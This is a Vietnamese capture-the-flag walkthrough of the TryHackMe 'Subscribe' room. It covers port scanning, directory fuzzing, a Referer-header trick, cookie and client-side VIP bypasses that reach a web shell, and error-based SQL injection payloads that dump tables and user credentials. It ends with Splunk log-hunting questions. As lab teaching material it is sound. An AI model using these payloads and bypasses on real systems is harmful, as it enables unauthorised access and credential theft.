Icon

TryHack3M: Subscribe

Can you help Hack3M reach 3M subscribers?

November 4, 2025 September 7, 2025 Medium
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Chúng ta thêm hackme.thm vào file /etc/hosts:

10.10.27.162 hackme.thm

Service Scanning

Sau đó chạy rustscan để quét toàn bộ port từ 1–65535. Kết quả cho thấy có 6 port đang mở: 22, 80, 8000, 8089, 8191 và 40009.

┌──(hungnt㉿kali)-[~/Documents]
└─$ rustscan -a hackme.thm -r 1-65535 -- --no-nmap

Open 10.10.27.162:22
Open 10.10.27.162:80
Open 10.10.27.162:8000
Open 10.10.27.162:8089
Open 10.10.27.162:8191
Open 10.10.27.162:40009

Tiếp tục, chúng ta dùng nmap để quét chi tiết các port này.

┌──(hungnt㉿kali)-[~/Documents]
└─$ sudo nmap -p22,80,8000,8089,8191,40009 -A -v hackme.thm

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 1c:22:17:8e:70:d7:3b:90:e8:de:98:f0:38:02:79:df (RSA)
|   256 be:82:d9:71:e0:9c:ae:a1:7a:3a:80:bc:ce:d1:1b:8d (ECDSA)
|_  256 e4:de:d6:94:c6:b0:50:72:73:23:0e:b1:61:1f:51:92 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 4CBDD85B914183C3D5D787FC76CF8F71
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack3M | Cyber Security Training
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
8000/tcp  open  http     Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-favicon: Unknown favicon MD5: E60C968E8FF3CC2F4FB869588E83AFC6
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://hackme.thm:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
8089/tcp  open  ssl/http Splunkd httpd (free license; remote login disabled)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-04-05T11:00:59
| Not valid after:  2027-04-05T11:00:59
| MD5:   fbd1:3d45:5b13:3737:b1a0:ccdd:6942:e3fe
|_SHA-1: c904:1a43:4a4d:2628:b27b:523a:d15c:e334:902e:cafd
|_http-title: Site doesn't have a title (text/xml; charset=UTF-8).
|_http-server-header: Splunkd
8191/tcp  open  mongodb  MongoDB 3.6 after 3.6.3, or 3.7.3 or later
40009/tcp open  http     Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 20.719 days (since Mon Aug 18 04:24:59 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   222.48 ms 10.11.0.1 (10.11.0.1)
2   223.76 ms hackme.thm (10.10.27.162)

Ở port 22, service đang chạy là SSH với OpenSSH 8.2p1 trên Ubuntu. Port 80 serve một trang web với Apache 2.4.41. Port 8000 đang chạy Splunkd httpd, khi truy cập sẽ được redirect đến trang login của Splunk (/en-US/account/login). Port 8089 cũng thuộc về Splunkd nhưng được bảo vệ bằng SSL, phản hồi trả về mã 401 Unauthorized. Port 8191 chạy MongoDB phiên bản 3.6 hoặc cao hơn. Cuối cùng, port 40009 cũng chạy Apache 2.4.41 nhưng trả về status code 403 Forbidden.

SSH 22

image

Dịch vụ SSH cho phép đăng nhập bằng password, vì vậy chúng ta có thể tìm kiếm password dạng plaintext.

HTTP 80

Front Page

image

Directory Enumeration

Chúng ta chạy ffuf để scan các thư mục và file ẩn trên website.

┌──(hungnt㉿kali)-[~/Documents]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://hackme.thm/FUZZ -r -e .php,.txt,.html -t 100 -fc 403

image

Kết quả cho thấy nhiều file PHP thú vị cần chú ý, gồm có config.php, dashboard.php, login.php, sign_up.phpsubscribe.php. Đặc biệt là config.php, bởi file này có thể chứa thông tin nhạy cảm. Tuy nhiên response size của nó lại bằng 0, nên chúng ta cần tìm cách để đọc được source code.

/login.php

image

/sign_up.php

image

/img

image

/js

image

Trong thư mục javascript, chúng ta phát hiện một file bất thường có tên invite.js. Dựa vào logic trong code, nếu gửi một POST request đến capture3millionsubscribers.thm/invitecode1337HM.php, chúng ta sẽ nhận được invite code.

image

Đầu tiên, chúng ta thử gửi GET request để xem phản hồi.

image

Sau đó, chúng ta chỉnh sửa request thành POST bằng Burp Suite. Tuy nhiên, server vẫn trả về lỗi “invalid request method”.

image

Sau một vài lần thử nghiệm, chúng ta phát hiện server thực hiện kiểm tra Referer header.

image

Khi đặt referer thành http://capture3millionsubscribers.thm/, chúng ta nhận được invite code thành công.

image

Nhập invite code này vào trang sign up, và bây giờ chúng ta đã có username và password.

Awesome, you did it! Your username and password are guest@hackme.thm:wedidit1010
/dashboard

Sau khi đăng nhập bằng credentials thu được, chúng ta có thể vào được dashboard.

image

Lý do khiến chúng ta không thể vào VIP room là vì có một cookie tên isVIP với giá trị false.

image

image

Chỉ cần chỉnh isVIP thành true thì có thể truy cập, nhưng sau đó vẫn xuất hiện một thông báo alert rằng trang này chỉ dành cho VIP users.

image

Vì đây là alert nên chắc chắn có một đoạn script chạy phía client.

image

Kiểm tra source code, chúng ta nhận ra có thể dễ dàng bypass bằng cách vào console và set document.getElementByID("isVIP").value thành true.

image

Sau đó chúng ta vào được một trang giống như web shell.

image

image

image

image

Và chúng ta chỉ đọc được file config, trong đó chứa một secure token dùng cho admin panel chạy ở port 40009.

$SECURE_TOKEN= "ACC#SS_TO_ADM1N_P@NEL";

$urlAdminPanel= "http://admin1337special.hackme.thm:40009";

Chúng ta thêm domain admin1337special.hackme.thm vào file /etc/hosts.

image

HTTP 40009

Tuy nhiên khi truy cập site ở port 40009 thì bị 403 Forbidden.

image

Tiếp theo, chúng ta thử đặt SECURE_TOKEN dưới dạng cookie nhưng cũng không thành công.

image

Directory Enumeration

Vì vậy, chúng ta tiến hành directory scan xem có trang ẩn nào không.

┌──(hungnt㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://admin1337special.hackme.thm:40009/public/html/FUZZ -r -e .php,.html -fc 403 -t 100

image

Và chúng ta phát hiện ra trang login.

/login.php

Tại đây, nhập SECURE_TOKEN thì vẫn cần username và password.

image

SQL Injection

Qua phân tích, chúng ta thấy chức năng login này bị dính SQL Injection.

image

Chúng ta sử dụng error-based payload, chúng ta có thể extract dữ liệu từ database.

' union select extractvalue(1, concat(0x3a, version()))-- -

image

Đầu tiên dump các bảng.

' union select extractvalue(1, concat(0x3a, (select group_concat(table_name) from information_schema.tables where table_schema=database()))),2,3,4,5,6,7-- -

image

Sau đó dump tên cột trong bảng users.

' union select extractvalue(1, concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),2,3,4,5,6,7-- -

image

Rồi trích xuất được username và password.

' union select extractvalue(1, concat(0x3a, (select group_concat(concat(name, ':', password) separator '\n') from users))),2,3,4,5,6,7-- -

image

Mặc dù response hiển thị khác, username đúng phải là admin.

admin:adminisadm1n
/dashboard

Với thông tin này, chúng ta kích hoạt được chức năng sign up và lấy flag đầu tiên.

image

image

Cuối cùng, vì không thể highlight và copy flag trực tiếp trên giao diện web, chúng ta mở source code của trang để lấy flag.

image

HTTP 8000

Splunk Enterprise là một phần mềm được cài trực tiếp trên máy chủ của tổ chức. Nó giống như một trung tâm dữ liệu, có thể thu thập và lưu trữ mọi loại dữ liệu mà hệ thống tạo ra, ví dụ như log từ server, ứng dụng hay thiết bị cảm biến. Sau đó, Splunk giúp chúng ta tìm kiếm, phân tích và hiển thị dữ liệu đó thành biểu đồ, báo cáo để dễ theo dõi.

Nhờ vậy, Splunk thường được dùng để giám sát an ninh, theo dõi hoạt động hệ thống IT, hoặc hỗ trợ các nhu cầu kinh doanh khác, vì nó cho phép xem dữ liệu và phát hiện vấn đề gần như ngay lập tức.

image

Bây giờ, chúng ta tìm tại ô Find ở góc trên bên phải giao diện Splunk để tìm câu trả lời cho các câu hỏi được đưa ra.

How many logs are ingested in the Splunk instance?

image

What is the web hacking tool used by the attacker to exploit the vulnerability on the website? How many total events were observed related to the attack? What is the observed IP address of the attacker?

image

How many events were observed from the attacker’s IP?

image

What is the table used by the attacker to execute the attack?

Vì không có dữ liệu POST để kiểm tra, và cũng không có payload nào được đặt trong phần headers, rất có thể payload đã được chèn vào tham số GET. Do đó, chúng ta cần chú ý đến phần uri:

image

HTTP 8089

image